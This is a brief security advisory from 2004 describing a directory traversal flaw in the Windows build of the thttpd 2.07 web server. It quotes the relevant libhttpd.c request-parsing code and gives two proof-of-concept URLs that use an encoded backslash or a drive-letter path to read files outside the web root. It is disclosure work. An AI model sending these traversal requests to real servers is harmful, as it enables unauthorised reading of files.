Application:  thttpd
Vendors:  http://www.acme.com/software/thttpd/
Version:  2.07 beta 0.4 10dec99
Platforms:  Windows
Bug:    Directory Traversal
Date:    2004-08-04
Author:    CoolICE
e-mail:    CoolICE#China.com
================
Content:
in libhttpd.c:
int
httpd_parse_request( httpd_conn* hc )
[...]
    if ( hc->decodedurl[0] != '/' )
  {
  httpd_send_err( hc, 400, httpd_err400title, httpd_err400form, "" );
  return -1;
  }

static int
really_start_request( httpd_conn* hc )
[...]
    if ( stat( hc->expnfilename, &hc->sb ) < 0 )
  {
  httpd_send_err( hc, 500, err500title, err500form, hc->encodedurl );
  return -1;
  }
------------------
TestCode:
http://localhost/%5c../test.ini
http://localhost/c:\test.ini